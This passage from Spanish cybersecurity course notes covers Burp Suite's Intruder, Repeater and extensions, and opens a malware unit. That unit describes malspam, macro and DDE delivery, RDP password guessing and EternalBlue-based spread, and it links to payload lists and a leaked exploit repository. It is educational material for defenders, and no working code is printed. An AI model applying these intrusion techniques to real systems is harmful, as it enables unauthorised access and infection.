Fuente: captura de la herramienta Burp Spider.
Scanner
El scanner de vulnerabilidades de Burp Suite es muy bueno, aunque solo se incluye en la versión
de pago. Si nos dedicamos profesionalmente a la auditoría web, sin duda, es una herramienta que
debemos comprar (imagen 4.58.).
Imagen 4.58. Burp – Scanner.

A parte del spider, al pulsar botón derecho y abrirse el menú, tenemos muchas opciones
interesantes como son el "Intruder", "Repeater", etc. En la imagen 4.59, podemos ver el menú.
62/77
Imagen 4.59. Burp – Enviar petición a distintas herramientas.

Intruder
La pestaña "Intruder" contiene una de las funcionalidades más interesantes, que consiste en la
automatización de peticiones con el objetivo de detectar y explotar vulnerabilidades.
Para configurarlo, se le debe enviar la petición web en la que se cree que puede existir una
vulnerabilidad y seleccionar el parámetro que vamos a ir modificando en cada petición para estudiar si
el comportamiento de la aplicación se ve alterado.
63/77
Imagen 4.60. Burp – Intruder.

Sobre la variable o variables seleccionadas se pueden enviar distintos tipos de ataques, dependiendo
del objetivo que estemos buscando:
Sniper: en este tipo de ataque, se fijarán todos los parámetros excepto uno, en el que se
probarán todas las opciones posibles del payload seleccionado.
Battering ram : permite la carga de un único payload por lo que, si hay más de un
parámetro, se utilizarán los mismos datos en todas las posiciones simultáneamente.
Pitchfork: se prueba cada entrada del payload con su correspondiente en orden del resto de
bloques de datos; es decir, el primer elemento del payload de la primera posición con el
primer elemento del de la segunda posición marcada, el segundo con el segundo y así
sucesivamente.
Cluster bomb: en este caso, teniendo varias posiciones en las que automatizar el proceso, el
ataque se realizará de manera que se prueben todos los valores de un parámetro contra todas
las posibles combinaciones de valores del resto.
64/77
Playloads
En la pestaña "Payloads" se configuran las opciones del payload en detalle:
Imagen 4.61. Burp – Intruder, configuración de payloads.

65/77
Repeater
En la pestaña "Repeater" tenemos otra utilidad que nos permite modificar y reenviar una petición
para ver el resultado rápidamente. Esto es útil para explotar vulnerabilidades (imagen 4.62.).
Imagen 4.62. Burp – Repeater.

66/77
Comparer
Otra utilidad es "Comparer", que permite comparar peticiones y respuestas entre sí para ver las
diferencias (imagen 4.63.).
Imagen 4.63. Burp – Comparer.

Fuente: captura de la herramienta Comparer en Burp Suite.
A continuación, vamos a comentar dos de los puntos más fuertes de Burp Suite: la BApp Store y el
API.
67/77
BApp Store
Nos permite descargar plugins de la tienda oficial. La mayoría de plugins funcionan con la versión
gratis, pero otros requieren utilizar la versión de pago.
Podemos encontrar todo tipo de mejoras y diferentes escáneres de vulnerabilidades realmente

útiles. En la imagen 4.64. podemos ver los diferentes plugins disponibles y que podemos descargar.
Imagen 4.64. Burp – BApp Storre.

68/77
API
El otro punto fuerte de Burp Suite es la API, la cual podemos utilizar para escribir nuestras propias
herramientas o automatizar tareas.
Estos plugins se escriben en Java o Python. La documentación es aceptable, pero es mejor leer el
código de los diferentes ejemplos.
En la imagen 4.65. podemos ver el API de Burp Suite.
Imagen 4.65. Burp – API.

Existen multitud de tipos de vulnerabilidades aplicables a las aplicaciones web, algunas de estas
vulnerabilidades son comunes a todas las aplicaciones web y otras en función de la tecnología
empleada.
V. Resumen
A lo largo de esta unidad hemos aprendido que las auditorías de aplicaciones web son una parte
esencial dentro de las auditorías de seguridad debido a que, hoy en día, las aplicaciones web constituyen
una parte sumamente importante del software corporativo de la mayoría de empresas.
69/77
En este contexto, ha sido esencial trabajar las diferentes vulnerabilidades web por las que pueden
verse afectadas las aplicaciones y, para ello, nos hemos centrado en proyectos como la guía top ten de
OWASP.
Para llevar a cabo este tipo concreto de auditoría, hemos estudiado la metodología, en la que
mencionamos los controles de seguridad que se deben realizar sobre las aplicaciones web.
Más adelante en esta unidad, hemos estudiado las fases que deben formar una auditoría web,
explicando en detalle cada una de ellas: planificación, recolección de información (donde se han
trabajado las técnicas de footprinting y fingerprinting), ejecución y elaboración del informe.
Además de estas fases, nos hemos centrado en la parte de vulnerabilidades con el fin de conocer
cuáles podemos encontrar en las aplicaciones y qué acciones debemos realizar para detectarlas.
Así, es importante que recordemos las formas de recopilación de información, búsqueda de

vulnerabilidades, entre ellas, ataques de inyección, Cross Site Scripting , Local o Remote File
Inclusion o Cross Site Request Forgery .
Finalmente, con respecto a estos tipos de vulnerabilidades, hemos trabajado con herramientas de
análisis automático que podemos emplear para detectarlas, pero siempre teniendo en cuenta que es
importante que el groso de la auditoría se realice a mano.
70/77
Ejercicios
Ejercicio propuesto 1
Entra en la web https://www.hackthebox.eu y utiliza las técnicas aprendidas para conseguir el

código de invitación.
Ejercicio propuesto 2
Descarga la ISO XSS and MySQL FILE de la web:
https://pentesterlab.com/exercises/xss_and_mysql_file
y aplica las técnicas aprendidas para conseguir explotar una inyección de SQL y conseguir la
ejecución remota de código.
En el siguiente enlace https://pentesterlab.com/exercises/xss_and_mysql_file/course puedes ver

paso a paso cómo resolver el ejercicio.
71/77
Recursos
Enlaces de Interés
[ 1] OWASP
https://www.owasp.org/index.php/Main_Page
[ 2] OWASP Top 10
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[ 3] OWASP Testing Guide v4

https://www.owasp.org/images/1/19/OTGv4.pdf
[ 4] Burp Suite
https://portswigger.net/burp/
[ 5] exiftool
https://www.sno.phy.queensu.ca/~phil/exiftool/
[ 6] FOCA
https://github.com/ElevenPaths/FOCA
[ 7] Metagoofil
https://kali-linux.net/article/metagoofil/
[ 8] nmap
https://nmap.org/
[ 9] Robots
https://support.google.com/webmasters/answer/6062608?hl=es
[10] CVE Details

https://www.cvedetails.com/
[11] NIST Vulnerability Database

https://www.nist.gov/programs-projects/national-vulnerability-database-nvd
[12] SQL injection

https://www.owasp.org/index.php/SQL_Injection
[13] DVWA
http://www.dvwa.co.uk/
[14] SQLmap
http://sqlmap.org/
[15] Inyecciones LDAP

http://wiki.bizagi.com/es/index.php?title=Atributos_LDAP
72/77
[16] Code injection

http://www.cse.usf.edu/~ligatti/papers/code-inj.pdf
[17] Command injection

https://www.exploit-db.com/docs/english/42593-command-injection---shell-injection.pdf
[18] Cross Site Scripting (XSS)

https://crypto.stanford.edu/cs155/papers/CSS.pdf
[19] LFI/RFI
https://www.imperva.com/docs/HII_Remote_and_Local_File_Inclusion_Vulnerabilities.pdf
[20] CSRF
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[21] Generate CSRF POC

https://portswigger.net/burp/help/suite_functions_csrfpoc.html
[22] CSRF Teste

https://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project/es
[23] OWASP ZAP

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
[24] Arachni
http://www.arachni-scanner.com/
[25] Acunetix
http://portswigger.net/burp/proxy.html
http://portswigger.net/burp/proxy.html
Bibliografía
Cross-Site Scripting (XSS) attacks and defense mechanisms: classification and state-of-
the-art. : Gupta, S. and Gupta, B. (2017). Cross-Site Scripting (XSS) attacks and defense
mechanisms: classification and state-of-the-art.
Implantación de aplicaciones web en entornos internet, intranet y extranet . : Cardador
Cabello, A. (2014). Implantación de aplicaciones web en entornos internet, intranet y extranet .
1st ed. Málaga: IC Editorial.
Acunetix. : https://www.acunetix.com/
Arachni. : http://www.arachni-scanner.com/
BeEF. : http://beefproject.com/
Bing Hacking Database. : http://pastebin.com/d2WcnJqA
73/77
Blind SQLi. :
https://www.exploit-db.com/docs/english/17397-blind-sql-injection-with-regular-
expressions-attack.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-
16-alonso-parada-wp.pdf
Burp Suite.: https://portswigger.net/burp/

Code injection. : http://www.cse.usf.edu/~ligatti/papers/code-inj.pdf
Combinaciones de Google para hacking. : https://www.exploit-db.com/google-hacking-
database/
Command injection. : https://www.exploit-db.com/docs/english/42593-command-injection---
shell-injection.pdf
Cross Site Scripting (XSS). : https://crypto.stanford.edu/cs155/papers/CSS.pdf
CSRF. :
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf
CVE Details.: https://www.cvedetails.com/

DVWA. : http://www.dvwa.co.uk/
Exiftool.: https://www.sno.phy.queensu.ca/~phil/exiftool/
Generate CSRF POC. : https://portswigger.net/burp/help/suite_functions_csrfpoc.html
Inyecciones LDAP. : http://wiki.bizagi.com/es/index.php?title=Atributos_LDAP
LFI/RFI. :
https://www.imperva.com/docs/HII_Remote_and_Local_File_Inclusion_Vulnerabilities.pdf
Metagoofil.: https://kali-linux.net/article/metagoofil/
NIST Vulnerability Database.: https://www.nist.gov/programs-projects/national-
vulnerability-database-nvd
OWASP CSRF Tester. :
https://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project/es
OWASP Testing Guide v4.: https://www.owasp.org/images/1/19/OTGv4.pdf
OWASP ZAP. : https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Página oficial de Kali Linux. : https://www.kali.org/downloads/
Página principal del OWASP Top 10. : http://www.owasp.org/index.php/Top_10
74/77
Payloads. :
https://github.com/trietptm/SQL-Injection-Payloads
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-
sql-blind
Payloads. :
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection
https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/ldap/ldap-
injection.fuzz.txt
Payloads. :
http://www.xss-payloads.com/
http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html
Payloads. :
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-
%20Path%20Traversal
Robots.: https://support.google.com/webmasters/answer/6062608?hl=es
Shodan. : https://www.shodan.io/
SQL injection. :
https://www.owasp.org/index.php/SQL_Injection
https://www.exploit-db.com/docs/english/33253-sql-injection-in-insert,-update-and-
delete-statements.pdf
SQLmap. : http://sqlmap.org/
Wiki del OWASP Top 10.:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
XSS DOM. :
http://www.sumanfootprints.com/src/isa12.pdf
https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-
Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf
Glosario.
Analizadores automáticos: Programas cuyo cometido es la detección de vulnerabilidades

web de la aplicación web objetivo. Se les proporciona la URL sobre la que buscar
vulnerabilidades y se encargan de realizar todas las pruebas. Una vez que finaliza, mostrará
todas las vulnerabilidades detectadas.
75/77
Code injection: Introducir código que es interpretado y ejecutado por la aplicación.
Command injection: Ejecución de comandos de sistema operativo a través de la aplicación

web. Los comandos serán ejecutados en el servidor de aplicaciones. Se trata de intentar
ejecutar los comandos sobre una shell y, en caso de tener éxito, los comandos serán ejecutados
con los privilegios que tenga asociada la aplicación web vulnerable.
Cross-Site Request Forgery (CSRF): Engañar a un usuario legítimo para que ejecute
peticiones o acciones sin su consentimiento (no sabe que esas peticiones se están realizando
desde su usuario).
DOM (document object model): Objetos creados por el propio navegador para parsear la
web y el contenido que muestra el servidor. Estos objetos se identifican a través de etiquetas
HTML.
File inclusion: Incluir archivos a la propia aplicación. Una aplicación será vulnerable a este
ataque si no realiza una correcta validación de entradas de datos, que tiene lugar cuando la
aplicación no controla los parámetros enviados por el usuario de la manera correcta, como se
ha visto previamente.
Fingerprinting: Recolección de información a través de la interacción con la aplicación. Se

obtiene del rastro que dejan los sistemas. Esta información se puede obtener de manera pasiva,
por ejemplo, interceptando el tráfico de red que se produce al navegar por la aplicación para su
posterior estudio
Footprinting: Recolección de información pública disponible en internet. Puede ser

información publicada por la propia organización de manera consciente o no. Al ser datos
públicos, el objetivo no tiene manera de detectar que están recopilando datos de él.
LDAP injection : Inyecciones sobre aplicaciones que trabajan sobre un LDAP (Protocolo
Ligero de Acceso a Directorios), protocolo para permitir accesos a un servicio de directorio
ordenado y distribuido para buscar información en un entorno de red. Estas inyecciones buscan
inyectar caracteres de búsqueda LDAP en una consulta para que sea ejecutada por la
aplicación.
Metadatos: Datos que describen otros datos y son propios de los archivos. De aquí se puede
obtener información como nombres de empleados de la organización, sistemas operativos,
software y versiones que tiene la organización instalados en sus equipos.
SQL injection: Atacar la base de datos de la aplicación a través de peticiones en las que se
inserta código SQL con el objetivo de que se ejecute en la base de datos.
76/77
XSS almacenado: Su funcionamiento es similar al XSS reflejado, la diferencia se encuentra

en que en esta ocasión la inyección de código queda almacenada en la base de datos de la
aplicación y será ejecutada cada vez que un usuario acceda a la página web que cargue esa
información.
XSS basado en DOM: Se diferencia de los anteriores en que no interviene el servidor de las
aplicaciones web, sino a través de Query Strings en funciones u otras variables que permiten la
inyección de código en la aplicación web.
XSS reflejado: El envío a través de una petición web de código malicioso para su ejecución
en el navegador de la víctima.
77/77
Malware © Ediciones Roble, S.L.
Indice
Malware 3
I. Introducción 3
II. Objetivos 3
III. Vectores de entrada y distribución 3
Actividades de reflexión 19
IV. Tipologías 20
4.1. Ransomware 20
4.2. InfoStealer 36
4.3. Keylogger 43
4.4. Banker 45
4.5. Miner 68
4.6. BackDoor 70
4.7. RAT 70
V. Indicadores de compromiso 72
VI. MaaS (Malware as a Service) 79
VII. Técnicas de evasión 84
7.1. Técnicas anti-disassembly 85
7.2. Técnicas anti-debugger 86
7.3. Técnicas anti-vm 89
7.4. Máquinas físicas 92
Propuesta de solución 92
VIII. Resumen 100
Recursos 102
Bibliografía 102
Glosario. 103
2/104
Malware
Malware
I. Introducción
Como se mencionaba en la introducción al módulo, se define como malware al software malicioso que
se crea con el fin de perpetrar acciones ilegítimas o maliciosas en un dispositivo (móvil, ordenador,
ATM, etc.).
Entre estas acciones destacan la extracción ilícita de datos del dispositivo infectado o
información sensible y confidencial del usuario, el secuestro de datos y archivos del dispositivo,
la inoperatividad del sistema o el uso de los recursos del dispositivo y la red para beneficio
propio del atacante.
Son objetivos mayoritarios de casos de malware las entidades bancarias, portales de

mensajería (Outlook, Gmail, Hotmail, etc.), portales de métodos de pago y comercios
electrónicos (PayPal, Amazon, eBay, etc.), al igual que de los casos de phishing; aunque, como
en dicha amenaza, también hay casos de ataques dirigidos.
II. Objetivos
En esta unidad aprenderemos los principales vectores de ataque y distribución de malware hoy en día,
así como las variantes que existen de este tipo de amenaza.
Se trata de un tema de suma importancia y complejidad dentro de la ciberinteligencia, por lo que es

importante que nos familiaricemos también con conceptos como los indicadores de compromiso (IoC),
el Malware as a Service y las técnicas de evasión.
Como comentamos, este es uno de los aspectos de mayor importancia dentro de esta área y gracias a
esta unidad, el alumno aprenderá los conceptos más relevantes del malware que le serán de gran utilidad
si le gustaría centrarse en un futuro en esta especialidad técnica.
III. Vectores de entrada y distribución

En el caso de la distribución de malware, aunque se han ido variando constantemente las técnicas de
explotación y ocultación dentro de esta, los vectores de entrada principales se han seguido utilizando con
el paso del tiempo:
Malspam
A través de campañas de distribución masiva
3/104
Malware
Como en el caso de phishing, el primero de ellos y más común es a través de campañas de

distribución masiva vía malspam, es decir, a través de correos electrónicos maliciosos.
Imagen 5.1. Ejemplo de malspam distribuyendo malware.

1
Diariamente, se envían millones de correos fraudulentos que tratan de distribuir malware

indiscriminadamente, la gran mayoría de ellos con una ingeniería social muy simple, como es el
gancho a través de facturas, impagos o problemas con el banco. No obstante, algunas de las
campañas enviadas son más sofisticadas y, con el paso del tiempo, este vector de entrada ha ido
mejorándose y aprovechando las vulnerabilidades en el momento oportuno.
Debido a las continuas mejoras por parte de los sistemas de seguridad perimetral, antivirus,
etc., los atacantes se han visto obligados a profesionalizar cada vez más el servicio de
distribución, como se verá a continuación.
4/104
Malware
Hace unos años, era muy común que llegasen correos electrónicos malspam con un archivo
ejecutable adjunto en ellos, tratando únicamente de ocultarse a través del uso de una doble
extensión y un icono. Por ejemplo, un archivo ejecutable con el nombre
“factura_impago_v54.exe” sería renombrado a “factura_impago_v54.pdf.exe” debido a que, por
norma general, los usuarios mantienen la opción “Ocultar extensiones para tipos de archivos
conocidos”.
Imagen 5.2. Ocultar extensiones para tipos de archivos conocidos desactivado.

De esta forma, el usuario únicamente apreciaría el nombre del fichero

“factura_impago_v54.pdf”, a lo que, si además se le añade un icono en el que se visualice como
un fichero PDF, el porcentaje de usuarios que hagan clic en el fichero malicioso crece
exponencialmente.
Como es lógico, esto duraría poco, ya que rápidamente se prohibieron los envíos de archivos
ejecutables en los correos electrónicos, tanto por parte de la política de las propias
empresas como por muchos gestores de correo.
No obstante, los atacantes no tardaron mucho en reponerse de esto, puesto que la solución era
muy fácil, comprimir esos archivos con ZIP, RAR, 7z.
Esta solución, aunque es muy rudimentaria, estuvo dando éxito durante un tiempo, añadiendo
nuevas funcionalidades como, por ejemplo, el uso de contraseña para el fichero comprimido, la
cual se incluía en el propio contenido del cuerpo del correo.
5/104
Malware
Imagen 5.3. ZIP que contiene ejecutable cifrado con contraseña.

Aunque esto tuvo bastante éxito, los sistemas de seguridad como, por ejemplo, Fireeye,
incluyeron un mecanismo para hacer una especie de ataque de fuerza bruta al fichero
comprimido, utilizando como diccionario las palabras contenidas en el cuerpo del correo
electrónico y consiguiendo detener, en gran parte, este método utilizado por los atacantes.
Pronto, los atacantes comenzaron a añadir una nueva capa de protección, utilizando
documentos ofimáticos de Microsoft como paso intermedio para la descarga del malware.
Aquí fue cuando los atacantes empezaron a profesionalizar el servicio, utilizando las macros
para descargar o depositar los ejecutables, aunque comenzaron utilizando técnicas muy
rudimentarias, como por ejemplo incluir el propio código del binario en el mismo documento.
Imagen 5.4. Código del binario contenido en el propio DOC.

6/104
Malware
Cuando comenzó a utilizarse esta técnica, la mayoría de empresas e incluso al instalar desde
cero herramientas como Microsoft Word, la configuración establecía que se habilitasen por
defecto las macros, etc., lo que significaba barra libre para la descarga de troyanos.
Imagen 5.5. VBA utilizado para la descarga de malware.

No obstante, esto fue rápidamente corregido, estableciendo que, por defecto, apareciese un
mensaje en el que se deja a elección del usuario el habilitar las macros.
Imagen 5.6. Opción para habilitar las macros.

7/104
Malware
Aquí se utilizaron múltiples trucos por parte de los atacantes, como comprimir estos
documentos, utilizar las macros para descargar un fichero que no fuese el malware para que este
lo descargase, el uso de powershell, etc., los cuales siguen utilizándose a día de hoy con mucho
éxito.
Imagen 5.7. Uso de powershell en campaña de malware.

Sin embargo, algo que han ido incorporando los atacantes a la hora de este tipo de
distribución y les ha dado un éxito rotundo, ha sido el uso de vulnerabilidades recién conocidas
para la explotación de estas y conseguir que las macros se ejecutasen o ejecutar código sin
necesidad de estas, por ejemplo, el caso de DDE.
Aunque los primeros ataques de explotación de DDE son muy antiguos, en 2017 volvió a ser
muy popular, debido a la capacidad de ejecutar código en un documento ofimático sin el uso de
macros. Esta técnica fue popularizada tras un post muy bien detallado en el que se explicaba
cómo llevar a cabo la explotación: https://sensepost.com/blog/2017/macro-less-code-exec-in-ms
word/
Fue una técnica muy utilizada para la distribución de malware durante 2017 y sigue estando
activa en 2018. Los siguientes posts del blog “myonlinesecurity” muestran campañas que hacen
uso de la explotación.
https://myonlinesecurity.co.uk/new-malware-campaign-using-dde-exploit-delivering-
malware/ (18 de enero de 2018)
https://myonlinesecurity.co.uk/dde-exploits-still-happening-despite-microsoft-updates-
to-stop-them/ (25 de diciembre de 2017)
https://myonlinesecurity.co.uk/more-locky-ransomware-delivered-via-dde-exploit-
pretending-to-come-from-your-own-company-or-email-address/ (20 de octubre de
2017)
8/104
Malware
Imagen 5.8. Campañas que utilizan la explotación de DDE, mostradas por la etiqueta DDE en
“myonlinesecurity”.
Fuente: blog myonlinesecurity.co.uk.
A través de campañas de distribución selectivas
Por último, otro método de distribución a través del correo electrónico que se ha utilizado con un
éxito enorme en 2016 y 2017 es el de la inclusión de un enlace que redirige a un sitio web
selectivo, que es un paso intermedio en el proceso de descarga del malware.
Se denomina como selectivo debido a que, aun tratándose de una campaña de distribución
masiva, no se realiza indiscriminadamente, sino que, para obtener un mejor resultado y ampliar el
período de vida de esta, se crea una campaña para cada país, utilizando el idioma correspondiente,
una compañía señuelo afincada en el país y conocida por todos (normalmente de carácter público)
y un filtrado de acceso para direcciones IP que no correspondan al país objetivo.
Un ejemplo de este método utilizado para tratar de infectar a usuarios españoles es el de

la suplantación de la compañía Correos vivido en marzo del pasado 2016.
Durante los días 15 y 16 de marzo de 2016, se realizó una distribución masiva selectiva
de correos fraudulentos en los que trataba de hacer creer a los usuarios que se enviaba un
correo legítimo de la compañía Correos España, para propagar un ransomware conocido
como TorrentLocker (veremos las distintas tipologías más adelante). El aspecto del correo
era el siguiente:
9/104
Malware
Imagen 5.9. Aspecto del correo de suplantación de la compañía Correos.

En la figura, se puede apreciar que los atacantes hacen uso de un buen lenguaje
castellano, además de utilizar el propio nombre del usuario para dar más credibilidad al
correo.
En el cuerpo del correo, se mostraba un enlace en el que, supuestamente, se descargaría

información relacionada con el envío.
Imagen 5.10. Aspecto del cuerpo del correo.

Durante los dos días que permaneció activa la distribución, se apreciaron más de 20
direcciones URL distintas que se utilizaban para mantener activa la campaña.
Una vez que el usuario hacía clic en el enlace tratando de acceder al sitio web, este contenía un
fichero .htaccess a través del cual se comprobaba la geolocalización, para identificar si se accedía
desde una dirección IP española o no.
10/104
Malware
En el caso de que el usuario no accediese desde una IP española, se denegaba el acceso,

realizando una redirección al buscador de Google e imposibilitando así, acceder a la estructura del
ataque y, por tanto, no era infectado. Aunque, de este modo, los atacantes perdiesen potenciales
víctimas, conseguían evadir los análisis automáticos de sistemas de seguridad, asegurando así que
el período de vida del fraude fuese mayor.
Imagen 5.11. Intento de acceso al sitio web fraudulento desde una dirección IP no española.
Por su parte, en el caso de que el usuario accediese desde una IP española, sí que se podía
acceder al sitio web fraudulento, pasando al siguiente paso para proceder a la descarga del
malware.
Imagen 5.12. Intento de acceso al sitio web fraudulento desde una dirección IP española.
11/104
Malware
En el navegador, el usuario podía ver un sitio web en el que se suplantaba casi a la perfección a
la compañía Correos.
Por otro lado, las comprobaciones de seguridad de que el acceso era realizado por un usuario y
no por una máquina de análisis no quedaba en el paso anterior, sino que se incorporaba un captcha.
Imagen 5.13. Captcha de seguridad en el sitio web fraudulento.

Al completar el captcha, esta vez ya se producía la descarga de un fichero ZIP, desde otro sitio
web fraudulento distinto, en esta campaña ubicada en Rusia. Este fichero ZIP contenía el binario
que debía ser ejecutado por el usuario en su máquina, siendo infectado en ese momento.
A la hora de detectar nuevas campañas vía malspam, bastaría con utilizar el mismo método que
en el caso de phishing, es decir, la creación de distintos buzones spam-trap que recojan todos
correos maliciosos posibles.
SMS
Otro vector de entrada que se utiliza, aunque en mucha menor medida, es la distribución de SMS
fraudulentos a dispositivos móviles, con el fin de que el usuario se descargue una APK maliciosa e
infecte el dispositivo.
Aunque no es una técnica muy común, hay periodos de tiempo en los que sí tiene relevancia; no
obstante, los SMS maliciosos son más bien utilizados como complemento de otras campañas de
malware, como se verá más adelante.
Las campañas a través de SMS tienen la ventaja de que su distribución no está tan vigilada como
por correo electrónico, ya que no se disponen de los mismos sistemas de seguridad para ello.
12/104
Malware
En la siguiente figura se puede apreciar un SMS recibido por un usuario en el que los atacantes se
hacen pasar por una entidad financiera, comunicando un bloqueo de la tarjeta de crédito.
Imagen 5.14. SMS fraudulento.

Algo que se da por hecho en casi todas las campañas de SMS fraudulentos es el uso de
“acortadoras” de URL para facilitar la ocultación del dominio destino, aunque hay que tener en cuenta
que en determinados sistemas de mensajería móvil actuales no es posible utilizarlas.
Automáticamente, al hacer clic en el enlace, se lleva a cabo la descarga de la APK maliciosa, sin
necesidad de realizar pasos intermedios. Esto se debe a que la seguridad en los dispositivos móviles
es inferior.
Imagen 5.15. APK maliciosa descargada.

Mala configuración
Otro vector de entrada muy activo actualmente debido a la facilidad de uso y al gran porcentaje de
éxito que tiene es la explotación de malas configuraciones por parte de las empresas.
Entre estos tipos destacan los siguientes:
1. Explotación de una política de seguridad débil o una mala configuración de un servicio

expuesta a Internet
El primero de ellos es un caso reincidente actualmente, distribuyendo en la mayoría de los casos

malware de tipo ransomware o miner.
Este ataque se basa en el escaneo de un determinado puerto, servicio, etc., por todo Internet o
sobre una determinada empresa, con el objetivo de detectar servicios expuestos a Internet sobre los
que intentar realizar login.
13/104
Malware
Estos escaneos pueden realizarse de múltiples maneras, normalmente a través de herramientas

automáticas elaboradas por los propios atacantes, aunque existe un sinfín de posibilidades para
ello, por ejemplo, Shodan (https://www.shodan.io/). Shodan es un motor de búsqueda que facilita
la detección de características de dispositivos, ya sean puertos, protocolos, etc.
Uno de los ataques que más se ve actualmente es el acceso ilegítimo vía RDP (Remote Desktop
Protocol), el cual permite ganar acceso remoto a una máquina.
Imagen 5.16. Servicio RDP.

Aunque el servicio RDP, por seguridad, no debería estar expuesto a Internet, sino únicamente
accesible desde la propia red de la compañía o vía VPN, hay muchísimas empresas que lo
mantienen visible desde el exterior con el objetivo de poder conectarse a sus máquinas sin ningún
tipo de restricción.
Esta exposición en la red de la compañía, unida a una política débil de gestión de contraseñas, es
un objetivo muy llamativo para los atacantes, que únicamente deben realizar un escaneo de
direcciones IP que tengan el puerto 3389 (puerto estándar del servicio RDP) expuestos a Internet.
14/104
Malware
Imagen 5.17. Búsqueda de direcciones IP con el puerto 3389 accesible desde Internet.
Fuente: elaboración propia CyberAcademy - Shodan.
Imagen 5.18. RDP expuesto a Internet.

Como se puede apreciar, hay una gran cantidad de direcciones IP con dicho puerto expuesto.
Pues bien, una vez que se conoce esta información, únicamente sería necesario validarse contra
el servicio, para obtener acceso directo contra la máquina (normalmente con privilegios de
administración).
Hay dos métodos utilizados por los atacantes para ello:
15/104
Malware
En primer lugar, los atacantes listan los usuarios que se encuentran habilitados para dicho
servicio, lo cual es algo que se puede realizar fácilmente con una herramienta de hacking
como Nessus (https://www.tenable.com/products/nessus/nessus-professional). Una vez
que se dispone de los usuarios, se intenta realizar login utilizando el nombre de usuario
como contraseña, es decir, “maria:maria”, “administrador:administrador”, etc. Esta
reutilización del nombre para la contraseña, aunque parezca que nunca pueda darse, es
muy común todavía a día de hoy, lo que facilita el acceso a un atacante en pocos
segundos.
En segundo lugar, si el primer intento no ha resultado exitoso, se realiza un ataque de
diccionario con el que intentar ganar acceso a causa de una contraseña débil o común.
Este tipo requiere más tiempo y puede ser bloqueado si se detecta el ataque por la
seguridad de la compañía, pero también resulta exitoso en múltiples ocasiones.
Una vez que los atacantes disponen de acceso a la máquina, hay dos tareas que se realizan como
norma general:
La primera de ellas es depositar y ejecutar un malware en la máquina, normalmente un

ransomware o un miner.
La segunda, es la propagación interna. Normalmente, servicios como SMB o RDP suelen
estar cortados hacia el exterior, pero no internamente, por lo que, teniendo acceso a una
máquina en la red, se puede ganar acceso en otras pivotando, lo que ampliaría la cantidad
de máquinas comprometidas o infectadas por el atacante.
Imagen 5.19. Login exitoso (ID: 4624) RDP.

16/104
Malware
Este vector de entrada es muy frecuente en estos momentos y afecta a múltiples empresas
pequeñas y medianas a diario, dada la facilidad de perpetrar el ataque.
2. Explotación de una vulnerabilidad expuesta a Internet
El segundo tipo de explotación utilizada por los atacantes es el de la explotación de

vulnerabilidad expuesta a Internet.
Este caso es muy parecido al anterior, pero esta vez no basándose en una política débil de
seguridad, sino en la explotación de la vulnerabilidad de un servicio que se tenga en algún
dispositivo de la compañía, ganando acceso a la red a través de él.
Un ejemplo muy claro de este vector es el utilizado por los atacantes para propagar con mucho
éxito el ransomware WanaCry en mayo de 2017.
En dicho ataque, se utilizó una vulnerabilidad conocida para el servicio de SMB en la plataforma
Microsoft (MS17-010 - https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2017/ms17-010), para la cual el grupo “Shadow Brokers” había publicado
distintos paquetes de explotación (https://github.com/misterch0c/shadowbroker/tree/master/windo
ws/exploits); en este caso, EternalBlue+DoublePulsar.
En esta ocasión, los atacantes simplemente necesitaban identificar direcciones IP con el puerto
445 expuesto a Internet (puerto estándar para SMB) y tratar de explotar la vulnerabilidad si esta no
había sido parseada.
Imagen 5.20. Búsqueda en shodan para el puerto 445.
17/104
Malware
Fuente: elaboración propia CyberAcademy - Shodan.
Como norma general, este servicio no debería estar expuesto a Internet, menos aun si hablamos
de que es vulnerable y no se ha parcheado.
En este caso, al explotar la vulnerabilidad y poder obtener una conexión inversa con un proceso
(algo extremadamente sencillo puesto que está explicado en muchísimos posts por todo Internet),
el atacante deposita y ejecuta el binario deseado en la máquina (ransomware WanaCry en aquel
caso) y, por otro lado, al ya estar dentro de la red de una empresa, la propagación se haría mucho
más efectiva debido a que, por norma general, el servicio SMB no suele estar filtrado
internamente.
Imagen 5.21. Propagación de la explotación de la vulnerabilidad.

Este tipo de explotación podría llamarse “explotación activa”, puesto que el atacante no espera a
que el usuario acceda a un servidor comprometido que pueda explotar alguna vulnerabilidad, sino
que desde fuera se busca dicha vulnerabilidad para tratar de explotarla.
Exploit-kit
En el otro lado, estaría la “explotación pasiva”, es decir, la que se realiza a través del uso de Exploit
kits.
A grandes rasgos, un Exploit kit es un paquete de software alojado en sitios web, diseñado para
explotar vulnerabilidades de los usuarios que accedan a estos. Es decir, un atacante consigue
comprometer un sitio web (cuanto más conocido, mejor) e introduce un fragmento de código para que
el usuario que accede al website (sin darse cuenta de nada puesto que la tarea se realiza en segundo
plano) haga una llamada a un servidor donde se aloja el Exploit kit, que tratará de explotar algún
plugin o servicio vulnerable de la máquina para forzar la descarga y ejecución de algún fichero
malicioso.
18/104
Malware
Imagen 5.22. Llamada a Exploit-kit.

En el blog de malware-traffic-analysis se pueden observar multitud de campañas de

Exploit-kit distribuyendo malware, dado que, aunque cada vez va perdiendo más peso, ha
sido un vector de entrada principal durante muchos años.
https://www.malware-traffic-analysis.net/2017/08/04/index.html (4 de agosto de
2017)
https://malware-traffic-analysis.net/2017/12/28/index.html (28 de diciembre de
2017)
https://blog.malwarebytes.com/cybercrime/2017/08/enemy-at-the-gates-reviewing-t
he-magnitude-exploit-kit-redirection-chain/ (2 de agosto de 2017)
